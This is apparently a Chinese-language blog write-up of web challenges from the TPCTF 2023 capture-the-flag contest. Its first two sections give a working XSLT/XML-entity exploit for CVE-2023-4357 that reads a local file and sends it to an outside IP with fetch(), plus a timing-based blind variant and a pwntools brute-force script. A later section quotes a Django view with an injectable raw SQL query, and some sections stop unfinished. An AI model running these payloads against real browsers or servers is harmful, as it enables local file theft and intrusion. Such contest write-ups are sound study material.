December 1, 2023

TPCTF 2023 Web Writeup

前言

五个Web题凑不齐一个不是XSS的,我的评价是。。。。。
写这文章的时候支原体了妈的。。没去成N1,强网拟态又和省赛重复了。日了狗了。

xssbot

CVE-2023-4357
出网带出来就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd_p "file:///flag">
<!ENTITY passwd_c SYSTEM "file:///flag">
<!ENTITY sysini_p "file:///flag">
<!ENTITY sysini_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
<p class="&sysini_p;">&sysini_c;</p>
</div>
<div style="width:40rem" id="r" />
<script>
document.querySelector('#r').innerHTML = `
remote web url: &lt;textarea style="width:100%;height:1rem">${location.href}&lt;/textarea>&lt;br/>&lt;br/>`;
document.querySelectorAll('p').forEach(p => {
//You can send p.innerHTML by POST.
document.querySelector('#r').innerHTML += `
local file path: &lt;textarea style="width:100%;height:1rem">${ p.className }&lt;/textarea>&lt;br/>
local file content:&lt;textarea style="width:100%;height:6rem">${ p.innerHTML }&lt;/textarea>&lt;br/>&lt;br/>`;
const apiUrl = 'http://8.130.24.188:6662?flag='+p.innerHTML;
fetch(apiUrl)
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.json();
})
});
</script>
</body>
</xsl:template>
</xsl:stylesheet>

xssbot but no Internet

第一题的不出网版本,我的思路就是第一题基础上盲注就行了。但是盲注显得会很慢,因为一次请求需要nc一次,大概就五秒。。。但我猜flag也不会很长,就很短。
盲注带出,利用超时报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd_p "file:///flag">
<!ENTITY passwd_c SYSTEM "file:///flag">
<!ENTITY sysini_p "file:///flag">
<!ENTITY sysini_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
<p class="&sysini_p;">&sysini_c;</p>
</div>
<div style="width:40rem" id="r" />
<script>
const p=document.querySelector("p");
const flag=p.innerHTML.split("").map(c => c.charCodeAt(0).toString(16).padStart(2, "0")).join("");
if(flag.charAt(THEPOS)=='THEFLAG'){
while(1){}
}
</script>
</body>
</xsl:template>
</xsl:stylesheet>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
import traceback
with open("./template.xml","r") as file:
template=file.read()
def test(flag):

io = remote("202.112.238.82",23379)
try:
io.sendline("a.xml")
xml = template.replace("THEFLAG",flag[-1]).replace("THEPOS",str(len(flag)-1))
io.sendline(xml)
io.sendline("EOF")
io.recvuntil("- Now browsing your website...")
result = io.recvuntil(["Bye bye!","ERROR"])
if b"ERROR" in result:
return True
elif b"Bye bye!" in result:
return False
else:
assert False,result
finally:
io.close()
def main():
# TPCTF{ea5y5C4}
flag = "54504354467b"
while 1:
if flag.endswith("7d"): # }
print(flag)
exit(0)
try:
for char in '0123456789abcdef':
local_flag = flag + char
# print(local_flag)
if test(local_flag):
flag = local_flag
print(flag)
break
except KeyboardInterrupt as e:
raise
except:
traceback.print_exc()
main()

walk off the earth

大致的思路有2个点

graphoid

我完全看不懂。我的

walk off the solar system

我也不知道怎么进入下一个catch,我的

ezsqli

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from django.shortcuts import render
from django.db import connection

# Create your views here.
from django.http import HttpResponse,HttpRequest
from .models import AdminUser,Blog,QueryHelper

def index(request:HttpRequest):
return HttpResponse('Welcome to TPCTF')

def debug(request:HttpRequest):
if request.method != 'POST':
return HttpResponse('Welcome to TPCTF')
username = request.POST.get('username')
if username != 'admin':
return HttpResponse('you are not admin.')
password = request.POST.get('password')
users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password))
try:
assert password == users[0].password
q = QueryHelper(query="select flag from flag",debug=True,debug_sql="select sqlite_version()")
response = q.run_debug()
return HttpResponse(response)
except:
return HttpResponse('wrong password')

def search(request:HttpRequest):
try:
query_helper = QueryHelper("SELECT * FROM blog_blog WHERE id=%s",**request.GET.dict())
result = query_helper.run(Blog)[0]
return HttpResponse(result.content)
except Exception as e:
return HttpResponse('你来到了没有知识的荒原')

主要代码如上,2个路由,debug和search,都是用%s占位的,测试中。
search路由不存在sql注入,debug存在字符串拼贴,但无法获取到回显。尝试盲注(sqlite)
我压根不知道怎么绕你的sql注入,我的。最近看到sql就头大,所以这题我也没继续做了。。。。

总结

这次比赛出的题,我觉得xssbot和walk off the earth 四件套出的还行,但是其他2个就有点,有点,有点让我觉得,怪!

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#TPCTF